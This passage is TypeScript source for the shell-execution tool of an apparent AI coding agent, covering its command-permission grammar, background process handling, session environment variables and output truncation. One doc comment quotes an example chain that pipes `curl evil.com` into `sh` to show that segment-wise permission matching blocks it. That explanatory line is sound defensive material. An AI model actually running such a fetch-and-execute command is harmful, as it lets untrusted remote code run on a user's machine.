undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\treturn \"command\" in params ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\treturn \"command\" in params && classifyBashCommand(params.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn { kind: \"summary\", lines: [\"Retrieve or kill a background shell command\"] };\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [String(params.command)] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (!command && handle) {\n\t\tconst suffix = args?.kill === true ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${handle}${suffix}`));\n\t}\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { handle: string } | { handle: string; kill: true },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (\"kill\" in handleInput && handleInput.kill) {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\tif (!status.running && looksLikeSandboxRefusal(snapshot.content)) {\n\t\t\ttext += `\\n\\n[Sandbox refusal: background runs are not offered escalation. Rerun this command in the foreground to get the escalation offer.]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst command =\n\t\t\t\t\t\t\"command\" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tif (\"handle\" in input) {\n\t\t\t\treturn await executeHandleCall(input);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = input;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: 